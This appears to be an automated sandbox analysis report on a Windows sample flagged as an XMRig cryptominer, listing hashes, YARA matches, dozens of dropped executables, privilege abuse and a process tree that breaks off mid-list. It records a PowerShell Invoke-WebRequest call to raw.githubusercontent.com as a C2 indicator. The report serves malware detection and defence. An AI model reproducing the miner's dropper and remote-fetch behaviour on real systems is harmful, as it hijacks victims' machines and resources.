xmrig | 81d344c090d1434d384c6de4b11b102d82b7d57981f83d54c50237ed3313e4b8

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14/05/2024, 01:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
Size

1.7MB
MD5

3d7548c7711e7a554382f277060f1bbe
SHA1

644561d2a007575722075b181a89e7dc43d035b3
SHA256

81d344c090d1434d384c6de4b11b102d82b7d57981f83d54c50237ed3313e4b8
SHA512

dac8aa964cdaf03babc320bd05b1770bb63b688375712679d867977e57203be529915cbeac34d2ced41a7deaf74b1e1bc5409df6c575562358ad427a656d0898
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82SflD0nN:NABd

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 23 IoCs

miner

resource	yara_rule
behavioral2/memory/1988-112-0x00007FF619650000-0x00007FF619A42000-memory.dmp	xmrig
behavioral2/memory/3904-115-0x00007FF6B5CC0000-0x00007FF6B60B2000-memory.dmp	xmrig
behavioral2/memory/4996-117-0x00007FF7F78C0000-0x00007FF7F7CB2000-memory.dmp	xmrig
behavioral2/memory/1888-116-0x00007FF6667A0000-0x00007FF666B92000-memory.dmp	xmrig
behavioral2/memory/5072-114-0x00007FF7BF860000-0x00007FF7BFC52000-memory.dmp	xmrig
behavioral2/memory/3704-113-0x00007FF605A20000-0x00007FF605E12000-memory.dmp	xmrig
behavioral2/memory/764-103-0x00007FF6D7390000-0x00007FF6D7782000-memory.dmp	xmrig
behavioral2/memory/4924-97-0x00007FF767C60000-0x00007FF768052000-memory.dmp	xmrig
behavioral2/memory/3404-80-0x00007FF6D3170000-0x00007FF6D3562000-memory.dmp	xmrig
behavioral2/memory/3816-77-0x00007FF7E30C0000-0x00007FF7E34B2000-memory.dmp	xmrig
behavioral2/memory/4240-76-0x00007FF734CA0000-0x00007FF735092000-memory.dmp	xmrig
behavioral2/memory/4128-71-0x00007FF70D600000-0x00007FF70D9F2000-memory.dmp	xmrig
behavioral2/memory/3284-65-0x00007FF7E0210000-0x00007FF7E0602000-memory.dmp	xmrig
behavioral2/memory/2792-59-0x00007FF67EFC0000-0x00007FF67F3B2000-memory.dmp	xmrig
behavioral2/memory/1660-256-0x00007FF775B40000-0x00007FF775F32000-memory.dmp	xmrig
behavioral2/memory/2616-292-0x00007FF6BEC30000-0x00007FF6BF022000-memory.dmp	xmrig
behavioral2/memory/4532-285-0x00007FF6133F0000-0x00007FF6137E2000-memory.dmp	xmrig
behavioral2/memory/4788-3441-0x00007FF701430000-0x00007FF701822000-memory.dmp	xmrig
behavioral2/memory/1696-3444-0x00007FF68A730000-0x00007FF68AB22000-memory.dmp	xmrig
behavioral2/memory/4084-4748-0x00007FF7EC3A0000-0x00007FF7EC792000-memory.dmp	xmrig
behavioral2/memory/4240-4800-0x00007FF734CA0000-0x00007FF735092000-memory.dmp	xmrig
behavioral2/memory/3904-4845-0x00007FF6B5CC0000-0x00007FF6B60B2000-memory.dmp	xmrig
behavioral2/memory/1888-4855-0x00007FF6667A0000-0x00007FF666B92000-memory.dmp	xmrig

Blocklisted process makes network request 9 IoCs

flow	pid	Process
3	3464	powershell.exe
5	3464	powershell.exe
7	3464	powershell.exe
8	3464	powershell.exe
10	3464	powershell.exe
11	3464	powershell.exe
13	3464	powershell.exe
19	3464	powershell.exe
20	3464	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3464	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2184	fNUeMCl.exe
1988	oVaPmGK.exe
2792	JHIqKAF.exe
3284	jtEdhlt.exe
4128	cZpCAAJ.exe
4240	AAfIGSQ.exe
3816	syIuexu.exe
3404	xhqERZM.exe
4924	zvdZyyk.exe
764	ucNcSKE.exe
3704	bDLkZRn.exe
5072	OpVAuRk.exe
3904	NcMqsTl.exe
1888	bOswSGI.exe
4996	vPWHQVU.exe
4788	GXyYmRq.exe
1696	FxgCsLe.exe
892	tEErvvn.exe
980	QCpasDu.exe
4332	iCADHmN.exe
1660	pQMpobb.exe
4532	eQOcHyr.exe
2616	TnILHlr.exe
4084	WFqMmZu.exe
2964	lUvJxea.exe
2304	TsXtkbS.exe
3936	ZOIEPCr.exe
2148	FjNwpyV.exe
1648	AYyGlDL.exe
1104	MxuUfir.exe
4756	fNhiMUw.exe
3332	wzuBUiX.exe
1992	jdEgfYN.exe
976	VTnuaET.exe
4012	dLxUNPB.exe
2892	RoEcVCB.exe
4360	CEiSebG.exe
1912	yKlyMup.exe
1280	WDYmjeV.exe
2424	QdMYVzo.exe
4008	kPwiZae.exe
2292	DEkdydl.exe
228	TGguiHN.exe
3528	QnyajEa.exe
4020	oYGKAOD.exe
2464	MzhnPdU.exe
3956	kEJSbCd.exe
1908	GFLUxCP.exe
2796	xhBAPqq.exe
3384	uGgjzQm.exe
1188	KrOCffJ.exe
3036	sErAivP.exe
2896	WrnnuoX.exe
452	LOvwfoE.exe
4700	IEhcRMx.exe
2704	DmkHbKQ.exe
4972	ooTYhsQ.exe
3952	IzeFQAE.exe
3196	pMBixWX.exe
1004	AUswzLn.exe
1412	fswMWtH.exe
3612	vDyrCOR.exe
3212	fnqlHdI.exe
5100	RCYFVSn.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1400-0-0x00007FF7579C0000-0x00007FF757DB2000-memory.dmp	upx
behavioral2/files/0x0007000000023433-23.dat	upx
behavioral2/files/0x0007000000023432-32.dat	upx
behavioral2/files/0x0007000000023436-37.dat	upx
behavioral2/files/0x0007000000023438-46.dat	upx
behavioral2/files/0x0007000000023435-52.dat	upx
behavioral2/files/0x000700000002343a-62.dat	upx
behavioral2/files/0x000700000002343b-68.dat	upx
behavioral2/memory/4788-106-0x00007FF701430000-0x00007FF701822000-memory.dmp	upx
behavioral2/memory/1988-112-0x00007FF619650000-0x00007FF619A42000-memory.dmp	upx
behavioral2/memory/3904-115-0x00007FF6B5CC0000-0x00007FF6B60B2000-memory.dmp	upx
behavioral2/memory/4996-117-0x00007FF7F78C0000-0x00007FF7F7CB2000-memory.dmp	upx
behavioral2/memory/1888-116-0x00007FF6667A0000-0x00007FF666B92000-memory.dmp	upx
behavioral2/memory/5072-114-0x00007FF7BF860000-0x00007FF7BFC52000-memory.dmp	upx
behavioral2/memory/3704-113-0x00007FF605A20000-0x00007FF605E12000-memory.dmp	upx
behavioral2/memory/1696-111-0x00007FF68A730000-0x00007FF68AB22000-memory.dmp	upx
behavioral2/files/0x0007000000023441-109.dat	upx
behavioral2/files/0x0007000000023440-107.dat	upx
behavioral2/files/0x000700000002343d-104.dat	upx
behavioral2/memory/764-103-0x00007FF6D7390000-0x00007FF6D7782000-memory.dmp	upx
behavioral2/memory/4924-97-0x00007FF767C60000-0x00007FF768052000-memory.dmp	upx
behavioral2/files/0x000700000002343c-81.dat	upx
behavioral2/memory/3404-80-0x00007FF6D3170000-0x00007FF6D3562000-memory.dmp	upx
behavioral2/memory/3816-77-0x00007FF7E30C0000-0x00007FF7E34B2000-memory.dmp	upx
behavioral2/memory/4240-76-0x00007FF734CA0000-0x00007FF735092000-memory.dmp	upx
behavioral2/memory/4128-71-0x00007FF70D600000-0x00007FF70D9F2000-memory.dmp	upx
behavioral2/files/0x0007000000023439-66.dat	upx
behavioral2/memory/3284-65-0x00007FF7E0210000-0x00007FF7E0602000-memory.dmp	upx
behavioral2/memory/2792-59-0x00007FF67EFC0000-0x00007FF67F3B2000-memory.dmp	upx
behavioral2/files/0x0007000000023437-58.dat	upx
behavioral2/files/0x0007000000023434-50.dat	upx
behavioral2/files/0x0008000000023430-33.dat	upx
behavioral2/files/0x0007000000023431-20.dat	upx
behavioral2/memory/2184-13-0x00007FF68EF60000-0x00007FF68F352000-memory.dmp	upx
behavioral2/files/0x0004000000022f62-10.dat	upx
behavioral2/files/0x0007000000023442-170.dat	upx
behavioral2/files/0x0007000000023454-190.dat	upx
behavioral2/files/0x0007000000023456-229.dat	upx
behavioral2/files/0x000700000002345d-239.dat	upx
behavioral2/memory/1660-256-0x00007FF775B40000-0x00007FF775F32000-memory.dmp	upx
behavioral2/files/0x0007000000023474-308.dat	upx
behavioral2/files/0x0007000000023475-314.dat	upx
behavioral2/files/0x0007000000023472-305.dat	upx
behavioral2/files/0x0007000000023471-302.dat	upx
behavioral2/files/0x000700000002346f-296.dat	upx
behavioral2/memory/2616-292-0x00007FF6BEC30000-0x00007FF6BF022000-memory.dmp	upx
behavioral2/files/0x000700000002346b-286.dat	upx
behavioral2/memory/4532-285-0x00007FF6133F0000-0x00007FF6137E2000-memory.dmp	upx
behavioral2/memory/4084-281-0x00007FF7EC3A0000-0x00007FF7EC792000-memory.dmp	upx
behavioral2/files/0x000700000002346a-280.dat	upx
behavioral2/files/0x0007000000023462-273.dat	upx
behavioral2/files/0x0007000000023464-270.dat	upx
behavioral2/files/0x000700000002345a-266.dat	upx
behavioral2/files/0x0007000000023463-248.dat	upx
behavioral2/memory/4332-235-0x00007FF60A530000-0x00007FF60A922000-memory.dmp	upx
behavioral2/memory/980-232-0x00007FF632440000-0x00007FF632832000-memory.dmp	upx
behavioral2/files/0x0007000000023455-219.dat	upx
behavioral2/files/0x0007000000023457-218.dat	upx
behavioral2/files/0x0007000000023452-228.dat	upx
behavioral2/files/0x000700000002344b-208.dat	upx
behavioral2/memory/892-169-0x00007FF6ABC10000-0x00007FF6AC002000-memory.dmp	upx
behavioral2/memory/4788-3441-0x00007FF701430000-0x00007FF701822000-memory.dmp	upx
behavioral2/memory/1696-3444-0x00007FF68A730000-0x00007FF68AB22000-memory.dmp	upx
behavioral2/memory/4084-4748-0x00007FF7EC3A0000-0x00007FF7EC792000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\xYfyBCW.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\cOxRTvS.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\XppcXwE.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\fpEgvlE.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\FOqGKzF.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\pqRUGJL.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\ExwkSqH.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\ffxZOGy.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\UWxISXR.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\ZZXqage.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\ztwhETB.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\MfJMiMv.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\HGQmNwy.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\UTZCrjD.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\xwaaDaK.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\JbaxpXi.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\sqgVLgE.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\QEYjynG.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\IECoFDU.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\OLKRzRS.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\yVviTxT.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\YErsPoF.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\ZAOUZds.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\gRhfkGd.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\GZAVKNz.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\RCWHZTM.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\XlRpbpp.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\eYEKsdu.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\AAEiatC.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\lTFdMvr.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\DeGelEL.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\bzQkMlY.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\yIVteCM.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\opyqReL.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\EjdPUKC.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\AKbtQXt.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\GuZfysj.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\yjsKfiV.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\lxcueHS.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\RVYXjfz.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\SiVNpyX.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\ncaZmZS.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\hcrVikI.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\SpNhaTC.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\cEHwUhv.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\KOaYfNj.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\IdmxWhS.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\RjLlbBi.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\CrfYmBj.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\bQnPtwz.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\lQmtDXs.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\kPbadms.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\bCyUYpc.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\nGuIBFL.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\HeDWqRq.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\kPoyKMN.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\whsMLbn.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\qdxNHYd.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\zTwYCVs.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\clXitAn.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\AvCvLgK.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\OvGcNTz.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\MowiXFP.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
File created	C:\Windows\System\IbuRAMh.exe	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3464	powershell.exe
3464	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeLockMemoryPrivilege	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1400 wrote to memory of 3464	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	82
PID 1400 wrote to memory of 3464	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	82
PID 1400 wrote to memory of 2184	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	83
PID 1400 wrote to memory of 2184	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	83
PID 1400 wrote to memory of 1988	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	84
PID 1400 wrote to memory of 1988	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	84
PID 1400 wrote to memory of 2792	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	85
PID 1400 wrote to memory of 2792	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	85
PID 1400 wrote to memory of 4240	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	86
PID 1400 wrote to memory of 4240	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	86
PID 1400 wrote to memory of 3284	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	87
PID 1400 wrote to memory of 3284	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	87
PID 1400 wrote to memory of 4128	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	88
PID 1400 wrote to memory of 4128	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	88
PID 1400 wrote to memory of 3404	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	89
PID 1400 wrote to memory of 3404	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	89
PID 1400 wrote to memory of 3816	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	90
PID 1400 wrote to memory of 3816	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	90
PID 1400 wrote to memory of 4924	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	91
PID 1400 wrote to memory of 4924	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	91
PID 1400 wrote to memory of 764	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	92
PID 1400 wrote to memory of 764	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	92
PID 1400 wrote to memory of 3704	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	93
PID 1400 wrote to memory of 3704	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	93
PID 1400 wrote to memory of 5072	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	94
PID 1400 wrote to memory of 5072	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	94
PID 1400 wrote to memory of 3904	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	95
PID 1400 wrote to memory of 3904	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	95
PID 1400 wrote to memory of 1888	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	96
PID 1400 wrote to memory of 1888	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	96
PID 1400 wrote to memory of 4996	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	97
PID 1400 wrote to memory of 4996	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	97
PID 1400 wrote to memory of 4788	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	98
PID 1400 wrote to memory of 4788	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	98
PID 1400 wrote to memory of 1696	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	99
PID 1400 wrote to memory of 1696	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	99
PID 1400 wrote to memory of 892	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	100
PID 1400 wrote to memory of 892	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	100
PID 1400 wrote to memory of 980	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	101
PID 1400 wrote to memory of 980	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	101
PID 1400 wrote to memory of 4332	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	102
PID 1400 wrote to memory of 4332	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	102
PID 1400 wrote to memory of 1660	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	103
PID 1400 wrote to memory of 1660	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	103
PID 1400 wrote to memory of 4532	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	104
PID 1400 wrote to memory of 4532	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	104
PID 1400 wrote to memory of 2964	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	105
PID 1400 wrote to memory of 2964	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	105
PID 1400 wrote to memory of 2616	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	106
PID 1400 wrote to memory of 2616	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	106
PID 1400 wrote to memory of 4084	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	107
PID 1400 wrote to memory of 4084	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	107
PID 1400 wrote to memory of 2304	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	108
PID 1400 wrote to memory of 2304	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	108
PID 1400 wrote to memory of 3936	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	109
PID 1400 wrote to memory of 3936	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	109
PID 1400 wrote to memory of 2148	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	110
PID 1400 wrote to memory of 2148	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	110
PID 1400 wrote to memory of 1648	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	111
PID 1400 wrote to memory of 1648	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	111
PID 1400 wrote to memory of 1104	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	112
PID 1400 wrote to memory of 1104	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	112
PID 1400 wrote to memory of 4756	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	113
PID 1400 wrote to memory of 4756	1400	3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe	113

C:\Users\Admin\AppData\Local\Temp\3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3d7548c7711e7a554382f277060f1bbe_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3464
- C:\Windows\System\fNUeMCl.exe
  C:\Windows\System\fNUeMCl.exe
  2⤵
  - Executes dropped EXE
  PID:2184
- C:\Windows\System\oVaPmGK.exe
  C:\Windows\System\oVaPmGK.exe
  2⤵
  - Executes dropped EXE
  PID:1988
- C:\Windows\System\JHIqKAF.exe
  C:\Windows\System\JHIqKAF.exe
  2⤵
  - Executes dropped EXE
  PID:2792
- C:\Windows\System\AAfIGSQ.exe
  C:\Windows\System\AAfIGSQ.exe
  2⤵
  - Executes dropped EXE
  PID:4240
- C:\Windows\System\jtEdhlt.exe
  C:\Windows\System\jtEdhlt.exe
  2⤵
  - Executes dropped EXE
  PID:3284
- C:\Windows\System\cZpCAAJ.exe
  C:\Windows\System\cZpCAAJ.exe
  2⤵
  - Executes dropped EXE
  PID:4128
- C:\Windows\System\xhqERZM.exe
  C:\Windows\System\xhqERZM.exe
  2⤵
  - Executes dropped EXE
  PID:3404
- C:\Windows\System\syIuexu.exe
  C:\Windows\System\syIuexu.exe
  2⤵
  - Executes dropped EXE
  PID:3816
- C:\Windows\System\zvdZyyk.exe
  C:\Windows\System\zvdZyyk.exe
  2⤵
  - Executes dropped EXE
  PID:4924
- C:\Windows\System\ucNcSKE.exe
  C:\Windows\System\ucNcSKE.exe
  2⤵
  - Executes dropped EXE
  PID:764
- C:\Windows\System\bDLkZRn.exe
  C:\Windows\System\bDLkZRn.exe
  2⤵
  - Executes dropped EXE
  PID:3704
- C:\Windows\System\OpVAuRk.exe
  C:\Windows\System\OpVAuRk.exe
  2⤵
  - Executes dropped EXE
  PID:5072
- C:\Windows\System\NcMqsTl.exe
  C:\Windows\System\NcMqsTl.exe
  2⤵
  - Executes dropped EXE
  PID:3904
- C:\Windows\System\bOswSGI.exe
  C:\Windows\System\bOswSGI.exe
  2⤵
  - Executes dropped EXE
  PID:1888
- C:\Windows\System\vPWHQVU.exe
  C:\Windows\System\vPWHQVU.exe
  2⤵
  - Executes dropped EXE
  PID:4996
- C:\Windows\System\GXyYmRq.exe
  C:\Windows\System\GXyYmRq.exe
  2⤵
  - Executes dropped EXE
  PID:4788
- C:\Windows\System\FxgCsLe.exe
  C:\Windows\System\FxgCsLe.exe
  2⤵
  - Executes dropped EXE
  PID:1696
- C:\Windows\System\tEErvvn.exe
  C:\Windows\System\tEErvvn.exe
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Windows\System\QCpasDu.exe
  C:\Windows\System\QCpasDu.exe
  2⤵
  - Executes dropped EXE
  PID:980
- C:\Windows\System\iCADHmN.exe
  C:\Windows\System\iCADHmN.exe
  2⤵
  - Executes dropped EXE
  PID:4332
- C:\Windows\System\pQMpobb.exe
  C:\Windows\System\pQMpobb.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Windows\System\eQOcHyr.exe
  C:\Windows\System\eQOcHyr.exe
  2⤵
  - Executes dropped EXE
  PID:4532
- C:\Windows\System\lUvJxea.exe
  C:\Windows\System\lUvJxea.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\TnILHlr.exe
  C:\Windows\System\TnILHlr.exe
  2⤵
  - Executes dropped EXE
  PID:2616
- C:\Windows\System\WFqMmZu.exe
  C:\Windows\System\WFqMmZu.exe
  2⤵
  - Executes dropped EXE
  PID:4084
- C:\Windows\System\TsXtkbS.exe
  C:\Windows\System\TsXtkbS.exe
  2⤵
  - Executes dropped EXE
  PID:2304
- C:\Windows\System\ZOIEPCr.exe
  C:\Windows\System\ZOIEPCr.exe
  2⤵
  - Executes dropped EXE
  PID:3936
- C:\Windows\System\FjNwpyV.exe
  C:\Windows\System\FjNwpyV.exe
  2⤵
  - Executes dropped EXE
  PID:2148
- C:\Windows\System\AYyGlDL.exe
  C:\Windows\System\AYyGlDL.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\MxuUfir.exe
  C:\Windows\System\MxuUfir.exe
  2⤵
  - Executes dropped EXE
  PID:1104
- C:\Windows\System\fNhiMUw.exe
  C:\Windows\System\fNhiMUw.exe
  2⤵
  - Executes dropped EXE
  PID:4756
- C:\Windows\System\wzuBUiX.exe
  C:\Windows\System\wzuBUiX.exe
  2⤵
  - Executes dropped EXE
